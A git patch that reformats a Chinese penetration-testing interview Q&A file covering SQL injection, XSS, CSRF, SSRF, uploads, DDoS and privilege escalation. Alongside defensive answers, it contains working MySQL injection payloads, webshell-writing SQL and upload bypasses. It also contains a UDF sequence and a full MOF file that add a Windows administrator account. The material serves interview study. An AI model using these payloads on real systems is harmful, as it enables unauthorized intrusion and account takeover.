From 5c3e729015337fcf47b836360a6f7b0091f78def Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9C=E6=96=B9=E6=9C=89=E9=B1=BC=E5=90=8D=E4=B8=BA?= =?UTF-8?q?=E5=92=B8?= Date: Thu, 25 Jul 2019 12:06:59 +0800 Subject: [PATCH] =?UTF-8?q?Update=20=E6=B8=97=E9=80=8F=E6=B5=8B=E8=AF=95?= =?UTF-8?q?=E9=9D=A2=E8=AF=95=E9=97=AE=E9=A2=982019=E7=89=88.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit fix [TOC] thanks [GitToc](https://github.com/Holy-Shine/GitToc) --- 渗透测试面试问题2019版.md | 603 +++++++++++++++++++------------------- 1 file changed, 301 insertions(+), 302 deletions(-) diff --git a/渗透测试面试问题2019版.md b/渗透测试面试问题2019版.md index ae757f1..fd01399 100644 --- a/渗透测试面试问题2019版.md +++ b/渗透测试面试问题2019版.md @@ -1,127 +1,126 @@ - * [思路流程](#----) - + [信息收集](#----) - + [漏洞挖掘](#----) - + [漏洞利用 | 权限提升](#-----------) - + [清除测试数据 | 输出报告](#-------------) - + [复测](#--) -- [问题](#--) - * [深信服一面:](#------) - * [SQL注入防护](#sql----) - * [为什么参数化查询可以防止sql注入](#------------sql--) - * [SQL头注入点](#sql----) - * [盲注是什么?怎么盲注?](#-----------) - * [宽字节注入产生原理以及根本原因](#---------------) - + [产生原理](#----) - + [在哪里编码](#-----) - + [根本原因](#----) - + [解决办法](#----) - + [sql里面只有update怎么利用](#sql----update----) - * [sql如何写shell/单引号被过滤怎么办](#sql---shell----------) - + [代替空格的方法](#-------) - + [mysql的网站注入,5.0以上和5.0以下有什么区别?](#mysql------50---50--------) -- [XSS](#xss) - * [XSS原理](#xss--) - + [反射型](#---) - + [储存型](#---) - + [DOM型](#dom-) - * [DOM型和反射型的区别](#dom--------) - * [DOM型XSS 自动化测试或人工测试](#dom-xss-----------) - * [如何快速发现xss位置](#------xss--) - * [对于XSS怎么修补建议](#--xss------) - * [XSS蠕虫的产生条件](#xss-------) -- [CSRF](#csrf) - * [CSRF原理](#csrf--) - * [防御](#--) - * [token和referer做横向对比,谁安全等级高?](#token-referer-------------) - * [对referer的验证,从什么角度去做?如果做,怎么杜绝问题](#-referer----------------------) - * [针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?](#--token--token-------------token---------) -- [SSRF](#ssrf) - * [检测](#--) - * [SSRF漏洞的成因 防御 绕过](#ssrf-----------) -- [上传](#--) - * [文件上传漏洞原理](#--------) - * [常见的上传绕过方式](#---------) - * [防护](#--) - * [审查上传点的元素有什么意义?](#--------------) -- [文件包含](#----) - * [原理](#--) - * [导致文件包含的函数](#---------) - * [本地文件包含](#------) -- [XXE](#xxe) -- [逻辑漏洞](#----) - * [金融行业常见逻辑漏洞](#----------) -- [溢出](#--) -- [中间人攻击](#-----) - * [ARP欺骗](#arp--) - + [原理:](#---) - + [防护](#---1) -- [DDOS](#ddos) - * [Ddos原理](#ddos--) - + [syn洪流的原理](#syn-----) - + [CC攻击原理](#cc----) - * [DDOS防护](#ddos--) -- [提权](#--) - * [mysql两种提权方式](#mysql------) - + [Mysql_UDF提权](#mysql-udf--) - + [Mysql mof提权](#mysql-mof--) -- [特殊漏洞](#----) - * [Struts2-045](#struts2-045) - * [Redis未授权访问](#redis-----) - + [产生原因](#----) - + [利用条件和方法](#-------) - + [修复](#--) - * [Jenkins未授权访问](#jenkins-----) - * [MongoDB未授权访问](#mongodb-----) - + [防护](#---2) - * [Memcache未授权访问](#memcache-----) - + [利用](#--) - + [漏洞加固](#----) - * [FFMPEG 本地文件读取漏洞](#ffmpeg---------) - + [原理](#---1) -- [安全知识](#----) - * [WEB](#web) - + [常用WEB开发JAVA框架](#--web--java--) - + [同源策略](#----) - + [Jsonp安全攻防技术,怎么写Jsonp的攻击页面?](#jsonp----------jsonp------) - - [涉及到Jsonp的安全攻防内容](#---jsonp-------) - - [攻击页面](#----) - * [PHP](#php) - + [php中命令执行涉及到的函数](#php-----------) - + [安全模式下绕过php的disable fuction](#-------php-disable-fuction) - + [PHP弱类型](#php---) - * [数据库](#---) - + [各种数据库文件存放的位置](#------------) - * [系统](#--) - + [如何清理日志](#------) - + [入侵 Linux 服务器后需要清除哪些日志?](#---linux--------------) - + [LINUX](#linux) - - [查看当前端口连接的命令有哪些?`netstat` 和 `ss` 命令的区别和优缺点](#----------------netstat-----ss-----------) - - [反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?](#---shell----------------shell-----) - - [通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?](#--linux----proc------------------------------) - - [linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。](#linux---------------------ssh-----) - - [如何一条命令查看文件内容最后一百行](#-----------------) - + [Windows](#windows) - - [如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。](#-----------windows---------------) - * [密码学](#---) - + [AES/DES的具体工作步骤](#aes-des-------) - + [RSA算法](#rsa--) - + [分组密码的加密模式](#---------) - + [如何生成一个安全的随机数?](#-------------) - + [SSL握手过程](#ssl----) - + [对称加密与非对称加密的不同,分别用在哪些方面](#----------------------) - * [TCP/IP](#tcp-ip) - + [TCP三次握手的过程以及对应的状态转换](#tcp----------------) - + [TCP和UDP协议区别](#tcp-udp----) - + [https的建立过程](#https-----) - * [流量分析](#----) - + [wireshark简单的过滤规则](#wireshark-------) - * [防火墙](#---) - + [简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。](#-------------------------------------) +- [ 思路流程](#head1) + - [ 信息收集](#head2) + - [ 漏洞挖掘](#head3) + - [ 漏洞利用&权限提升](#head4) + - [ 清除测试数据&输出报告](#head5) + - [ 复测](#head6) +- [ 问题](#head7) +- [ 深信服一面:](#head8) +- [ SQL注入防护](#head9) +- [ 为什么参数化查询可以防止sql注入](#head10) +- [ SQL头注入点](#head11) +- [ 盲注是什么?怎么盲注?](#head12) +- [ 宽字节注入产生原理以及根本原因](#head13) + - [ 产生原理](#head14) + - [ 在哪里编码](#head15) + - [ 根本原因](#head16) + - [ 解决办法](#head17) + - [ sql里面只有update怎么利用](#head18) +- [ sql如何写shell/单引号被过滤怎么办](#head19) + - [ 代替空格的方法](#head20) + - [ mysql的网站注入,5.0以上和5.0以下有什么区别?](#head21) +- [ XSS](#head22) + - [ XSS原理](#head23) + - [ 反射型](#head24) + - [ 储存型](#head25) + - [ DOM型](#head26) + - [ DOM型和反射型的区别](#head27) + - [DOM型XSS 自动化测试或人工测试](#head28) + - [ 如何快速发现xss位置](#head29) + - [ 对于XSS怎么修补建议](#head30) + - [ XSS蠕虫的产生条件](#head31) +- [ CSRF](#head32) + - [ CSRF原理](#head33) + - [ 防御](#head34) + - [ token和referer做横向对比,谁安全等级高?](#head35) + - [ 对referer的验证,从什么角度去做?如果做,怎么杜绝问题](#head36) + - [ 针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?](#head37) +- [ SSRF](#head38) + - [ 检测](#head39) + - [SSRF漏洞的成因 防御 绕过](#head40) +- [ 上传](#head41) + - [ 文件上传漏洞原理](#head42) + - [ 常见的上传绕过方式](#head43) + - [ 防护](#head44) + - [ 审查上传点的元素有什么意义?](#head45) +- [ 文件包含](#head46) + - [ 原理](#head47) + - [ 导致文件包含的函数](#head48) + - [ 本地文件包含](#head49) +- [ XXE](#head50) +- [ 逻辑漏洞](#head51) + - [ 金融行业常见逻辑漏洞](#head52) +- [ 溢出](#head53) +- [ 中间人攻击](#head54) + - [ ARP欺骗](#head55) + - [ 原理:](#head56) + - [ 防护](#head57) +- [ DDOS](#head58) + - [ Ddos原理](#head59) + - [ syn洪流的原理](#head60) + - [ CC攻击原理](#head61) + - [ DDOS防护](#head62) +- [ 提权](#head63) + - [ mysql两种提权方式](#head64) + - [ Mysql_UDF提权](#head65) + - [Mysql mof提权](#head66) +- [ 特殊漏洞](#head67) + - [ Struts2-045](#head68) + - [ Redis未授权访问](#head69) + - [ 产生原因](#head70) + - [ 利用条件和方法](#head71) + - [ 修复](#head72) + - [ Jenkins未授权访问](#head73) + - [ MongoDB未授权访问](#head74) + - [ 防护](#head75) + - [ Memcache未授权访问](#head76) + - [ 利用](#head77) + - [ 漏洞加固](#head78) + - [FFMPEG 本地文件读取漏洞](#head79) + - [ 原理](#head80) +- [ 安全知识](#head81) + - [ WEB](#head82) + - [ 常用WEB开发JAVA框架](#head83) + - [ 同源策略](#head84) + - [ Jsonp安全攻防技术,怎么写Jsonp的攻击页面?](#head85) + - [ 涉及到Jsonp的安全攻防内容](#head86) + - [ 攻击页面](#head87) + - [ PHP](#head88) + - [ php中命令执行涉及到的函数](#head89) + - [安全模式下绕过php的disable fuction](#head90) + - [ PHP弱类型](#head91) + - [ 数据库](#head92) + - [ 各种数据库文件存放的位置](#head93) + - [ 系统](#head94) + - [ 如何清理日志](#head95) + - [入侵 Linux 服务器后需要清除哪些日志?](#head96) + - [ LINUX](#head97) + - [查看当前端口连接的命令有哪些?`netstat` 和 `ss` 命令的区别和优缺点](#head98) + - [反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?](#head99) + - [通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?](#head100) + - [ linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。](#head101) + - [ 如何一条命令查看文件内容最后一百行](#head102) + - [ Windows](#head103) + - [ 如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。](#head104) + - [ 密码学](#head105) + - [ AES/DES的具体工作步骤](#head106) + - [ RSA算法](#head107) + - [ 分组密码的加密模式](#head108) + - [ 如何生成一个安全的随机数?](#head109) + - [ SSL握手过程](#head110) + - [ 对称加密与非对称加密的不同,分别用在哪些方面](#head111) + - [ TCP/IP](#head112) + - [ TCP三次握手的过程以及对应的状态转换](#head113) + - [ TCP和UDP协议区别](#head114) + - [ https的建立过程](#head115) + - [ 流量分析](#head116) + - [ wireshark简单的过滤规则](#head117) + - [ 防火墙](#head118) + - [ 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。](#head119) +## 思路流程 -## 思路流程 - -### 信息收集 +### 信息收集 1. 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) 2. 网站指纹识别(包括,cms,cdn,证书等),dns记录 @@ -131,28 +130,28 @@ 6. 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等 7. 传输协议,通用漏洞,exp,github源码等 -### 漏洞挖掘 +### 漏洞挖掘 1. 浏览网站,看看网站规模,功能,特点等 2. 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。 3. XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等 -### 漏洞利用 | 权限提升 +### 漏洞利用&权限提升 - mysql提权,serv-u提权,oracle提权 - windows 溢出提权 - linux脏牛,内核漏洞提权e -### 清除测试数据 | 输出报告 +### 清除测试数据&输出报告 i 日志、测试数据的清理 ii 总结,输出渗透测试报告,附修复方案 -### 复测 +### 复测 验证并发现是否有新漏洞,输出报告,归档 -# 问题 +## 问题 **1.拿到一个待检测的站,你觉得应该先做什么?** @@ -478,82 +477,82 @@ Connection:keep-alive 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell **38、给你一个网站你是如何来渗透测试的?** - 在获取书面授权的前提下。 +在获取书面授权的前提下。 **39、sqlmap,怎么对一个注入点注入?** - 1)如果是get型号,直接,sqlmap -u "诸如点网址". - 2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数" - 3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址" +1)如果是get型号,直接,sqlmap -u "诸如点网址". +2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数" +3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址" **40、nmap,扫描的几种方式** **41、sql注入的几种类型?** - 1)报错注入 - 2)bool型注入 - 3)延时注入 - 4)宽字节注入 +1)报错注入 +2)bool型注入 +3)延时注入 +4)宽字节注入 **42、报错注入的函数有哪些? 10个** - 1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】---------------- - 2)通过floor报错 向下取整 - 3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1) - 4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b)); - 5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b)); - 6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b)); - 7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b)); - 8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b)); - 9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b)); - 10).exp()select from test where id=1 and exp(~(select * from(select user())a)); +1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】 +2)通过floor报错 向下取整 +3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1) +4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b)); +5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b)); +6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b)); +7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b)); +8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b)); +9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b)); +10).exp()select from test where id=1 and exp(~(select * from(select user())a)); **43、延时注入如何来判断?** - if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1) +if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1) **44、盲注和延时注入的共同点?** - 都是一个字符一个字符的判断 +都是一个字符一个字符的判断 **45、如何拿一个网站的webshell?** - 上传,后台编辑模板,sql注入写文件,命令执行,代码执行, - 一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等 +上传,后台编辑模板,sql注入写文件,命令执行,代码执行, +一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等 **46、sql注入写文件都有哪些函数?** - select '一句话' into outfile '路径' - select '一句话' into dumpfile '路径' - select '' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php'; +select '一句话' into outfile '路径' +select '一句话' into dumpfile '路径' +select '' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php'; **47、如何防止CSRF?** - 1,验证referer - 2,验证token - 详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd +1,验证referer +2,验证token +详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd **48、owasp 漏洞都有哪些?** - 1、SQL注入防护方法: - 2、失效的身份认证和会话管理 - 3、跨站脚本攻击XSS - 4、直接引用不安全的对象 - 5、安全配置错误 - 6、敏感信息泄露 - 7、缺少功能级的访问控制 - 8、跨站请求伪造CSRF - 9、使用含有已知漏洞的组件 - 10、未验证的重定向和转发 +1、SQL注入防护方法: +2、失效的身份认证和会话管理 +3、跨站脚本攻击XSS +4、直接引用不安全的对象 +5、安全配置错误 +6、敏感信息泄露 +7、缺少功能级的访问控制 +8、跨站请求伪造CSRF +9、使用含有已知漏洞的组件 +10、未验证的重定向和转发 **49、SQL注入防护方法?** - 1、使用安全的API - 2、对输入的特殊字符进行Escape转义处理 - 3、使用白名单来规范化输入验证方法 - 4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符 - 5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。 +1、使用安全的API +2、对输入的特殊字符进行Escape转义处理 +3、使用白名单来规范化输入验证方法 +4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符 +5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。 @@ -575,15 +574,15 @@ system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open() **51、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?** - src指定一个远程的脚本文件,获取referer +src指定一个远程的脚本文件,获取referer **52、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。** 1)远程服务器修改apache配置文件,配置.jpg文件以php方式来解析 - AddType application/x-httpd-php .jpg - 深信服一面: - 了解哪些漏洞 - 文件上传有哪些防护方式 @@ -705,7 +704,7 @@ aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而 - 有没有抓过包,会不会写wireshark过滤规则 - 清理日志要清理哪些 -## SQL注入防护 +## SQL注入防护 1、使用安全的API 2、对输入的特殊字符进行Escape转义处理 @@ -714,7 +713,7 @@ aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而 5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。 \6. 规范编码,字符集 -## 为什么参数化查询可以防止sql注入 +## 为什么参数化查询可以防止sql注入 原理: @@ -723,7 +722,7 @@ aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而 简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑 -## SQL头注入点 +## SQL头注入点 ``` UA @@ -732,28 +731,28 @@ COOKIE IP ``` -## 盲注是什么?怎么盲注? +## 盲注是什么?怎么盲注? 盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。 -## 宽字节注入产生原理以及根本原因 +## 宽字节注入产生原理以及根本原因 -### 产生原理 +### 产生原理 在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。 -### 在哪里编码 +### 在哪里编码 -### 根本原因 +### 根本原因 character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。 -### 解决办法 +### 解决办法 统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。 或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。 -### sql里面只有update怎么利用 +### sql里面只有update怎么利用 先理解这句 SQL @@ -788,7 +787,7 @@ UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$hom UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin' ``` -## sql如何写shell/单引号被过滤怎么办 +## sql如何写shell/单引号被过滤怎么办 写shell: root权限,GPC关闭,知道文件路径 outfile函数 @@ -801,37 +800,37 @@ outfile函数 宽字节注入 -### 代替空格的方法 +### 代替空格的方法 %0a、%0b、%a0 等 /**/ 等注释符 <> -### mysql的网站注入,5.0以上和5.0以下有什么区别? +### mysql的网站注入,5.0以上和5.0以下有什么区别? 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。 5.0以下是多用户单操作,5.0以上是多用户多操做。 -# XSS +# XSS -## XSS原理 +## XSS原理 -### 反射型 +### 反射型 用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。 需要诱使用户“点击”一个恶意链接,才能攻击成功 -### 储存型 +### 储存型 存储型XSS会把用户输入的数据“存储”在服务器端。 这种XSS具有很强的稳定性。 -### DOM型 +### DOM型 通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。 -## DOM型和反射型的区别 +## DOM型和反射型的区别 反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。 反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。 @@ -839,16 +838,16 @@ DOM型:通过修改页面的DOM节点形成的XSS。 DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。 根本区别在我看来是输出点的不同。 -## DOM型XSS 自动化测试或人工测试 +## DOM型XSS 自动化测试或人工测试 人工测试思路:找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。 自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。 在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。 -## 如何快速发现xss位置 +## 如何快速发现xss位置 -## 对于XSS怎么修补建议 +## 对于XSS怎么修补建议 输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。 @@ -857,32 +856,32 @@ DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请 除此之外,还有做HTTPOnly对Cookie劫持做限制。 -## XSS蠕虫的产生条件 +## XSS蠕虫的产生条件 正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。**不一定需要**存储型XSS -# CSRF +# CSRF -## CSRF原理 +## CSRF原理 CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认 -## 防御 +## 防御 - 验证Referer - 添加token -## token和referer做横向对比,谁安全等级高? +## token和referer做横向对比,谁安全等级高? token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。 但是token的话,要保证其足够随机且不可泄露。(不可预测性原则) -## 对referer的验证,从什么角度去做?如果做,怎么杜绝问题 +## 对referer的验证,从什么角度去做?如果做,怎么杜绝问题 对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。 为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。 -## 针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试? +## 针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试? 引用一段请教前辈的回答: @@ -893,13 +892,13 @@ token安全等级更高,因为并不是任何服务器都可以取得referer 另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的 ``` -# SSRF +# SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。 -## 检测 +## 检测 SSRF漏洞的验证方法: @@ -907,66 +906,66 @@ SSRF漏洞的验证方法: 2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 [www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4](http://www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞) -## SSRF漏洞的成因 防御 绕过 +## SSRF漏洞的成因 防御 绕过 成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。 利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。 防御:禁止跳转,限制协议,内外网限制,URL限制。 绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。 -# 上传 +# 上传 -## 文件上传漏洞原理 +## 文件上传漏洞原理 由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件 -## 常见的上传绕过方式 +## 常见的上传绕过方式 - 前端js验证:禁用js/burp改包 - 大小写 - 双重后缀名 - 过滤绕过 pphphp->php -## 防护 +## 防护 - 文件上传目录设置为不可执行 - 使用白名单判断文件上传类型 - 用随机数改写文件名和路径 -## 审查上传点的元素有什么意义? +## 审查上传点的元素有什么意义? 有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。 -# 文件包含 +# 文件包含 -## 原理 +## 原理 引入一段用户能控制的脚本或代码,并让服务器端执行 (1)include()等函数通过动态变量的方式引入需要包含的文件; (2)用户能够控制该动态变量。 -## 导致文件包含的函数 +## 导致文件包含的函数 PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual, -## 本地文件包含 +## 本地文件包含 能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞 -# XXE +# XXE -# 逻辑漏洞 +# 逻辑漏洞 -## 金融行业常见逻辑漏洞 +## 金融行业常见逻辑漏洞 单针对金融业务的 主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。 -# 溢出 +# 溢出 -# 中间人攻击 +# 中间人攻击 中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞 @@ -981,14 +980,14 @@ ASP:include file, include virtual, 3.使用其他形式的密钥交换形式 -## ARP欺骗 +## ARP欺骗 -### 原理: +### 原理: 每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。 在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能 -### 防护 +### 防护 1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC @@ -996,31 +995,31 @@ ASP:include file, include virtual, 3.使用ARP防火墙 -# DDOS +# DDOS -## Ddos原理 +## Ddos原理 利用合理的请求造成资源过载,导致服务不可用 -### syn洪流的原理 +### syn洪流的原理 伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。 -### CC攻击原理 +### CC攻击原理 对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。 -## DDOS防护 +## DDOS防护 SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。 -# 提权 +# 提权 -## mysql两种提权方式 +## mysql两种提权方式 udf提权,mof提权 -### Mysql_UDF提权 +### Mysql_UDF提权 要求: 1.目标系统是Windows(Win2000,XP,Win2003); @@ -1039,39 +1038,39 @@ MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的li create function cmdshell returns string soname ‘udf.dll’ select cmdshell(‘net user arsch arsch /add’); select cmdshell(‘net localgroup administrators arsch /add’); - + drop function cmdshell; ``` 该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。 -### Mysql mof提权 +### Mysql mof提权 ``` #pragma namespace("\\\\.\\root\\subscription") - + instance of __EventFilter as $EventFilter { - EventNamespace = "Root\\Cimv2"; - Name = "filtP2"; - Query = "Select * From __InstanceModificationEvent " - "Where TargetInstance Isa \"Win32_LocalTime\" " - "And TargetInstance.Second = 5"; - QueryLanguage = "WQL"; +EventNamespace = "Root\\Cimv2"; +Name = "filtP2"; +Query = "Select * From __InstanceModificationEvent " +"Where TargetInstance Isa \"Win32_LocalTime\" " +"And TargetInstance.Second = 5"; +QueryLanguage = "WQL"; }; - + instance of ActiveScriptEventConsumer as $Consumer { - Name = "consPCSV2"; - ScriptingEngine = "JScript"; - ScriptText = - "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")"; +Name = "consPCSV2"; +ScriptingEngine = "JScript"; +ScriptText = +"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")"; }; - + instance of __FilterToConsumerBinding { - Consumer = $Consumer; - Filter = $EventFilter; +Consumer = $Consumer; +Filter = $EventFilter; }; ``` @@ -1085,17 +1084,17 @@ select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem 执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。 -# 特殊漏洞 +# 特殊漏洞 -## Struts2-045 +## Struts2-045 -## Redis未授权访问 +## Redis未授权访问 -### 产生原因 +### 产生原因 Redis 默认情况下,会绑定在 